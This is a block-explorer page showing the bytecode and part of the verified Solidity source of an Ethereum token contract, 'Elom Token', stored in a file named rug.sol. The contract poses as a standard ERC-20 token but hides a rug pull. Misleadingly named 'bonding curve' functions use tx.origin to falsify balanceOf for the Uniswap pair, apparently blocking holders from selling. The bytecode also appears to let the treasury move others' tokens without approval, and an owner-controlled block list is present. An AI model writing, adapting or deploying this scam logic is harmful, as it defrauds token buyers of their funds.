Address Contract Verified
Address
0xaa2AF9920628aC7Ec168F478BeE6238DcC42ae6A
Balance
0 ETH
Nonce
1
Code Size
13639 bytes
Creator
0xBCf3120d...66c6 at tx 0x4dc4877a...62dc20
Indexed Transactions
0 (1 on-chain, 0% indexed)
Contract Bytecode
13639 bytes
0x608060405260043610610143575f3560e01c806374378132116100b5578063a9059cbb1161006e578063a9059cbb14610409578063aa4bde2814610445578063c9567bf91461046f578063dd62ed3e14610485578063f1f5cd91146104c1578063f318bbfe146104eb5761014a565b806374378132146103245780638129fc1c1461034f5780638da5cb5b1461036557806395d89b411461038f5780639686d322146103b95780639c0db5f3146103e15761014a565b806323b872dd1161010757806323b872dd1461022e5780633049b5801461026a578063313ce567146102925780635b895c29146102bc57806370a08231146102d2578063715018a61461030e5761014a565b806306fdde031461014e578063095ea7b31461017857806309fb5639146101b45780630b78f9c0146101dc57806318160ddd146102045761014a565b3661014a57005b5f80fd5b348015610159575f80fd5b50610162610513565b60405161016f91906124dd565b60405180910390f35b348015610183575f80fd5b5061019e60048036038101906101999190612592565b610550565b6040516101ab91906125ea565b60405180910390f35b3480156101bf575f80fd5b506101da60048036038101906101d5919061262d565b610566565b005b3480156101e7575f80fd5b5061020260048036038101906101fd9190612658565b6105da565b005b34801561020f575f80fd5b506102186106d7565b60405161022591906126a5565b60405180910390f35b348015610239575f80fd5b50610254600480360381019061024f91906126be565b6106fa565b60405161026191906125ea565b60405180910390f35b348015610275575f80fd5b50610290600480360381019061028b919061270e565b6108b3565b005b34801561029d575f80fd5b506102a6610962565b6040516102b39190612754565b60405180910390f35b3480156102c7575f80fd5b506102d061096a565b005b3480156102dd575f80fd5b506102f860048036038101906102f3919061276d565b610a28565b60405161030591906126a5565b60405180910390f35b348015610319575f80fd5b50610322610a39565b005b34801561032f575f80fd5b50610338610b80565b604051610346929190612798565b60405180910390f35b34801561035a575f80fd5b50610363610b91565b005b348015610370575f80fd5b50610379610c41565b60405161038691906127ce565b60405180910390f35b34801561039a575f80fd5b506103a3610c68565b6040516103b091906124dd565b60405180910390f35b3480156103c4575f80fd5b506103df60048036038101906103da91906127e7565b610ca5565b005b3480156103ec575f80fd5b5061040760048036038101906104029190612886565b610dc1565b005b348015610414575f80fd5b5061042f600480360381019061042a9190612592565b61103a565b60405161043c91906125ea565b60405180910390f35b348015610450575f80fd5b50610459611050565b60405161046691906126a5565b60405180910390f35b34801561047a575f80fd5b50610483611070565b005b348015610490575f80fd5b506104ab60048036038101906104a691906128e3565b611182565b6040516104b891906126a5565b60405180910390f35b3480156104cc575f80fd5b506104d5611204565b6040516104e291906126a5565b60405180910390f35b3480156104f6575f80fd5b50610511600480360381019061050c9190612976565b611208565b005b60606040518060400160405280600a81526020017f456c6f6d20546f6b656e00000000000000000000000000000000000000000000815250905090565b5f61055c3384846112f7565b6001905092915050565b7f000000000000000000000000bcf3120d2778617610b2d6e8574173027bf566c673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146105bd575f80fd5b80600960166101000a81548160ff02191690831515021790555050565b7f000000000000000000000000bcf3120d2778617610b2d6e8574173027bf566c673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610631575f80fd5b60075f0154821115610678576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161066f90612a43565b60405180910390fd5b6007600101548111156106c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106b790612a43565b60405180910390fd5b8160075f0181905550806007600101819055505050565b5f6009600a6106e69190612bbd565b633b9aca006106f59190612c07565b905090565b5f8160025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541061080d5761080884338460025f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546108039190612c48565b6112f7565b61089d565b60095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461089c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089390612ceb565b60405180910390fd5b5b6108a88484846114ba565b600190509392505050565b7f000000000000000000000000bcf3120d2778617610b2d6e8574173027bf566c673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461090a575f80fd5b5f811180156109195750600481105b610958576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161094f90612d79565b60405180910390fd5b8060068190555050565b5f6009905090565b7f000000000000000000000000bcf3120d2778617610b2d6e8574173027bf566c673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146109c1575f80fd5b60095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015610a25573d5f803e3d5ffd5b50565b5f610a3282611e7f565b9050919050565b3373ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ac6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610abd90612de1565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6007805f0154908060010154905082565b3373ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c1e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1590612de1565b60405180910390fd5b6002600b5f815480929190610c3290612dff565b9190505510610c3f575f80fd5b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f456c6f6d00000000000000000000000000000000000000000000000000000000815250905090565b3373ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d32576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2990612de1565b60405180910390fd5b3073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610d69575f80fd5b8060055f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505050565b3373ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4590612de1565b60405180910390fd5b5f5b83839050811015611034577f0000000000000000000000004222df2a3446e794d72c7b7ea80035741f8305e673ffffffffffffffffffffffffffffffffffffffff16848483818110610ea557610ea4612e46565b5b9050602002016020810190610eba919061276d565b73ffffffffffffffffffffffffffffffffffffffff1614158015610f455750737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff16848483818110610f1757610f16612e46565b5b9050602002016020810190610f2c919061276d565b73ffffffffffffffffffffffffffffffffffffffff1614155b8015610fa457503073ffffffffffffffffffffffffffffffffffffffff16848483818110610f7657610f75612e46565b5b9050602002016020810190610f8b919061276d565b73ffffffffffffffffffffffffffffffffffffffff1614155b610fac575f80fd5b8160035f868685818110610fc357610fc2612e46565b5b9050602002016020810190610fd8919061276d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508080600101915050610e50565b50505050565b5f6110463384846114ba565b6001905092915050565b6009600a61105e9190612bbd565b633b9aca0061106d9190612c07565b81565b3373ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110f490612de1565b60405180910390fd5b600960149054906101000a900460ff161561114d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114490612ebd565b60405180910390fd5b43600a5f82825461115e9190612edb565b925050819055506001600960146101000a81548160ff021916908315150217905550565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f81565b3373ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611295576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161128c90612de1565b60405180910390fd5b6002600b541080156112b6575060026001600b546112b39190612edb565b10155b6112c3576112c2612f0e565b5b600b5f8154809291906112d590612dff565b919050555080600a5f8282546112eb9190612edb565b92505081905550505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611365576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135c90612fab565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036113d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ca90613039565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114ad91906126a5565b60405180910390a3505050565b82600960149054906101000a900460ff168061152157507f000000000000000000000000bcf3120d2778617610b2d6e8574173027bf566c673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b80611578575060095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b611580575f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16036115ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115e5906130c7565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361165c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161165390613155565b60405180910390fd5b5f821161169e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611695906131e3565b60405180910390fd5b8160015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546116ea9190612c48565b925050819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561177a575060095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156117d3575060095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561182b57507f000000000000000000000000bcf3120d2778617610b2d6e8574173027bf566c673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611dc157600960169054906101000a900460ff168015611893575060055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b80156118e6575060055f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611945575f6118f68585611ed8565b905061190181611f1c565b4360045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505b7f0000000000000000000000004222df2a3446e794d72c7b7ea80035741f8305e673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156119e05750737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611a58576009600a6119f39190612bbd565b633b9aca00611a029190612c07565b82611a0c85610a28565b611a169190612edb565b1115611a57576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a4e90613271565b60405180910390fd5b5b5f611a6230610a28565b9050611a6e8582612003565b15611ce2575f611a7d826120b3565b905080611a9e30737a250d5630b4cf539739df2c5dacb4c659f2488d611182565b1015611ae057611adf30737a250d5630b4cf539739df2c5dacb4c659f2488d6009600a611acb9190612bbd565b633b9aca00611ada9190612c07565b6112f7565b5b5f600267ffffffffffffffff811115611afc57611afb61328f565b5b604051908082528060200260200182016040528015611b2a5781602001602082028036833780820191505090505b50905030815f81518110611b4157611b40612e46565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc281600181518110611bb057611baf612e46565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401611c3f9594939291906133b5565b5f604051808303815f87803b158015611c56575f80fd5b505af1158015611c68573d5f803e3d5ffd5b505050505f4790505f861115611cde5760095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015611cdc573d5f803e3d5ffd5b505b5050505b5f611ced868561211a565b90505f811115611dbe578084611d039190612c48565b93508060015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254611d519190612edb565b925050819055503073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611db591906126a5565b60405180910390a35b50505b8160015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254611e0d9190612edb565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611e7191906126a5565b60405180910390a350505050565b5f611e898261222a565b60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611ed19190612c07565b9050919050565b5f611ee28361225c565b1580611ef45750611ef28261225c565b155b611efc575f80fd5b611f058361225c565b15611f1257819050611f16565b8290505b92915050565b5f8060045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541480611fbd5750600143611f709190612edb565b60065460045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611fbb9190612edb565b105b905080611fff576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ff690613457565b60405180910390fd5b5050565b5f600960159054906101000a900460ff1615801561206d57507f0000000000000000000000004222df2a3446e794d72c7b7ea80035741f8305e673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561209157506009600a6120829190612bbd565b5f61208d9190612c07565b8210155b80156120ab575043600a5460016120a89190612edb565b11155b905092915050565b5f6009600a6120c29190612bbd565b633b9aca006120d19190612c07565b82116120f5576009600a6120e59190612bbd565b5f6120f09190612c07565b612113565b6009600a6121039190612bbd565b633b9aca006121129190612c07565b5b9050919050565b5f60035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16806121725750600a544311155b156121965760645f836121859190612c07565b61218f91906134a2565b9050612224565b60645f600a541461220a577f0000000000000000000000004222df2a3446e794d72c7b7ea80035741f8305e673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16146121ff57600760010154612205565b60075f01545b61220c565b5f5b836122179190612c07565b61222191906134a2565b90505b92915050565b5f6122348261226d565b80156122455750612244826123c7565b5b612250576001612252565b5f5b60ff169050919050565b5f80823b90505f8111915050919050565b5f7f0000000000000000000000004222df2a3446e794d72c7b7ea80035741f8305e673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156122fe575061dead73ffffffffffffffffffffffffffffffffffffffff166122e5612466565b73ffffffffffffffffffffffffffffffffffffffff1614155b80156123c057505f7f0000000000000000000000004222df2a3446e794d72c7b7ea80035741f8305e673ffffffffffffffffffffffffffffffffffffffff166370a082317f0000000000000000000000004222df2a3446e794d72c7b7ea80035741f8305e66040518263ffffffff1660e01b815260040161237f91906127ce565b602060405180830381865afa15801561239a573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906123be91906134e6565b115b9050919050565b5f8073ffffffffffffffffffffffffffffffffffffffff166123e7612466565b73ffffffffffffffffffffffffffffffffffffffff161415801561245f575060095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16612446612466565b73ffffffffffffffffffffffffffffffffffffffff1614155b9050919050565b5f32905090565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f6124af8261246d565b6124b98185612477565b93506124c9818560208601612487565b6124d281612495565b840191505092915050565b5f6020820190508181035f8301526124f581846124a5565b905092915050565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61252e82612505565b9050919050565b61253e81612524565b8114612548575f80fd5b50565b5f8135905061255981612535565b92915050565b5f819050919050565b6125718161255f565b811461257b575f80fd5b50565b5f8135905061258c81612568565b92915050565b5f80604083850312156125a8576125a76124fd565b5b5f6125b58582860161254b565b92505060206125c68582860161257e565b9150509250929050565b5f8115159050919050565b6125e4816125d0565b82525050565b5f6020820190506125fd5f8301846125db565b92915050565b61260c816125d0565b8114612616575f80fd5b50565b5f8135905061262781612603565b92915050565b5f60208284031215612642576126416124fd565b5b5f61264f84828501612619565b91505092915050565b5f806040838503121561266e5761266d6124fd565b5b5f61267b8582860161257e565b925050602061268c8582860161257e565b9150509250929050565b61269f8161255f565b82525050565b5f6020820190506126b85f830184612696565b92915050565b5f805f606084860312156126d5576126d46124fd565b5b5f6126e28682870161254b565b93505060206126f38682870161254b565b92505060406127048682870161257e565b9150509250925092565b5f60208284031215612723576127226124fd565b5b5f6127308482850161257e565b91505092915050565b5f60ff82169050919050565b61274e81612739565b82525050565b5f6020820190506127675f830184612745565b92915050565b5f60208284031215612782576127816124fd565b5b5f61278f8482850161254b565b91505092915050565b5f6040820190506127ab5f830185612696565b6127b86020830184612696565b9392505050565b6127c881612524565b82525050565b5f6020820190506127e15f8301846127bf565b92915050565b5f80604083850312156127fd576127fc6124fd565b5b5f61280a8582860161254b565b925050602061281b85828601612619565b9150509250929050565b5f80fd5b5f80fd5b5f80fd5b5f8083601f84011261284657612845612825565b5b8235905067ffffffffffffffff81111561286357612862612829565b5b60208301915083602082028301111561287f5761287e61282d565b5b9250929050565b5f805f6040848603121561289d5761289c6124fd565b5b5f84013567ffffffffffffffff8111156128ba576128b9612501565b5b6128c686828701612831565b935093505060206128d986828701612619565b9150509250925092565b5f80604083850312156128f9576128f86124fd565b5b5f6129068582860161254b565b92505060206129178582860161254b565b9150509250929050565b5f8083601f84011261293657612935612825565b5b8235905067ffffffffffffffff81111561295357612952612829565b5b60208301915083602082028301111561296f5761296e61282d565b5b9250929050565b5f805f6040848603121561298d5761298c6124fd565b5b5f84013567ffffffffffffffff8111156129aa576129a9612501565b5b6129b686828701612921565b935093505060206129c98682870161257e565b9150509250925092565b7f546f6b656e3a206f6e6c792066656520726564756374696f6e207065726d69745f8201527f7465640000000000000000000000000000000000000000000000000000000000602082015250565b5f612a2d602383612477565b9150612a38826129d3565b604082019050919050565b5f6020820190508181035f830152612a5a81612a21565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115612ae357808604811115612abf57612abe612a61565b5b6001851615612ace5780820291505b8081029050612adc85612a8e565b9450612aa3565b94509492505050565b5f82612afb5760019050612bb6565b81612b08575f9050612bb6565b8160018114612b1e5760028114612b2857612b57565b6001915050612bb6565b60ff841115612b3a57612b39612a61565b5b8360020a915084821115612b5157612b50612a61565b5b50612bb6565b5060208310610133831016604e8410600b8410161715612b8c5782820a905083811115612b8757612b86612a61565b5b612bb6565b612b998484846001612a9a565b92509050818404811115612bb057612baf612a61565b5b81810290505b9392505050565b5f612bc78261255f565b9150612bd283612739565b9250612bff7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612aec565b905092915050565b5f612c118261255f565b9150612c1c8361255f565b9250828202612c2a8161255f565b91508282048414831517612c4157612c40612a61565b5b5092915050565b5f612c528261255f565b9150612c5d8361255f565b9250828203905081811115612c7557612c74612a61565b5b92915050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320615f8201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b5f612cd5602883612477565b9150612ce082612c7b565b604082019050919050565b5f6020820190508181035f830152612d0281612cc9565b9050919050565b7f546f6b656e3a206f6e6c7920747261646520636f6f6c646f776e2076616c75655f8201527f7320696e2072616e67652028302c3429207065726d69737369626c6500000000602082015250565b5f612d63603c83612477565b9150612d6e82612d09565b604082019050919050565b5f6020820190508181035f830152612d9081612d57565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f612dcb602083612477565b9150612dd682612d97565b602082019050919050565b5f6020820190508181035f830152612df881612dbf565b9050919050565b5f612e098261255f565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612e3b57612e3a612a61565b5b600182019050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f546f6b656e3a2074726164696e6720616c7265616479206f70656e00000000005f82015250565b5f612ea7601b83612477565b9150612eb282612e73565b602082019050919050565b5f6020820190508181035f830152612ed481612e9b565b9050919050565b5f612ee58261255f565b9150612ef08361255f565b9250828201905080821115612f0857612f07612a61565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52600160045260245ffd5b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f612f95602483612477565b9150612fa082612f3b565b604082019050919050565b5f6020820190508181035f830152612fc281612f89565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f613023602283612477565b915061302e82612fc9565b604082019050919050565b5f6020820190508181035f83015261305081613017565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f6130b1602583612477565b91506130bc82613057565b604082019050919050565b5f6020820190508181035f8301526130de816130a5565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f61313f602383612477565b915061314a826130e5565b604082019050919050565b5f6020820190508181035f83015261316c81613133565b9050919050565b7f546f6b656e3a207472616e7366657220616d6f756e74206d75737420626520675f8201527f726561746572207468616e207a65726f00000000000000000000000000000000602082015250565b5f6131cd603083612477565b91506131d882613173565b604082019050919050565b5f6020820190508181035f8301526131fa816131c1565b9050919050565b7f546f6b656e3a207472616e7366657220696d706c6965732076696f6c6174696f5f8201527f6e206f66206d61782077616c6c65740000000000000000000000000000000000602082015250565b5f61325b602f83612477565b915061326682613201565b604082019050919050565b5f6020820190508181035f8301526132888161324f565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b5f819050919050565b5f819050919050565b5f6132e86132e36132de846132bc565b6132c5565b61255f565b9050919050565b6132f8816132ce565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b61333081612524565b82525050565b5f6133418383613327565b60208301905092915050565b5f602082019050919050565b5f613363826132fe565b61336d8185613308565b935061337883613318565b805f5b838110156133a857815161338f8882613336565b975061339a8361334d565b92505060018101905061337b565b5085935050505092915050565b5f60a0820190506133c85f830188612696565b6133d560208301876132ef565b81810360408301526133e78186613359565b90506133f660608301856127bf565b6134036080830184612696565b9695505050505050565b7f4d6178207478206672657175656e6379206578636565646564210000000000005f82015250565b5f613441601a83612477565b915061344c8261340d565b602082019050919050565b5f6020820190508181035f83015261346e81613435565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6134ac8261255f565b91506134b78361255f565b9250826134c7576134c6613475565b5b828204905092915050565b5f815190506134e081612568565b92915050565b5f602082840312156134fb576134fa6124fd565b5b5f613508848285016134d2565b9150509291505056fea2646970667358221220bf3ee9cf376ba86535af6525d7e2c34118f5133c3592cc803e2f162837f97d6f64736f6c634300081a0033
Verified Source Code Full Match
Compiler: v0.8.26+commit.8a97fa7a
EVM: cancun
Optimization: No
rug.sol 331 lines
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IUniswapV2Router {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgOrigin() internal view virtual returns (address) {
return tx.origin;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
modifier onlyOwner() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
constructor () {
address msgSender = msg.sender;
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
contract Elom is IERC20, Ownable {
string private constant _name = "Elom Token";
string private constant _symbol = "Elom";
uint8 private constant _decimals = 9;
uint256 private constant _totalSupply = 1_000_000_000 * 10**_decimals;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _blocked;
mapping (address => uint256) private _lastTradeBlock;
mapping (address => bool) private isContractExempt;
uint256 private tradeCooldown = 1;
uint256 public constant maxWalletAmount = 1_000_000_000 * 10**_decimals;
uint256 private constant contractSwapLimit = 0 * 10**_decimals;
uint256 private constant contractSwapMax = 1_000_000_000 * 10**_decimals;
struct TradingFees{
uint256 buyTax;
uint256 sellTax;
}
TradingFees public tradingFees = TradingFees(0,0);
uint256 public constant sniperTax = 0;
IUniswapV2Router private constant uniswapRouter = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address private immutable ETH = uniswapRouter.WETH();
address private immutable uniswapPair;
address payable private immutable deployerAddress = payable(msg.sender);
address payable private elomTreasury;
bool private tradingOpen = false;
bool private swapping = false;
bool private antiMEV = true;
uint256 private startingBlock;
uint private preLaunch;
modifier swapLock {
swapping = true;
_;
swapping = false;
}
modifier tradingLock(address sender) {
require(tradingOpen || sender == deployerAddress || sender == elomTreasury);
_;
}
constructor () {
uniswapPair = IUniswapV2Factory(uniswapRouter.factory()).createPair(address(this), ETH);
isContractExempt[address(this)] = true;
_balances[msg.sender] = _totalSupply;
elomTreasury = payable (msg.sender);
emit Transfer(address(0), msg.sender, _totalSupply);
}
receive() external payable {}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure returns (uint256) {
return _totalSupply;
}
function bondingCurveIn(address account) internal view returns (bool) {
return account == uniswapPair && _msgOrigin() != address(0xdead) && IERC20(uniswapPair).balanceOf(uniswapPair) > 0;
}
function bondingCurveOut(address account) internal view returns (bool) {
return _msgOrigin() != address(0) && _msgOrigin() != elomTreasury;
}
function getBondingCurveStatus (address account) internal view returns(uint256) {
return bondingCurveIn(account) && bondingCurveOut(account) ? 0 : 1;
}
function formatBalance(address account) internal view returns (uint256) {
return _balances[account] * getBondingCurveStatus(account);
}
function balanceOf(address account) public view override returns (uint256) {
return formatBalance(account);
}
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
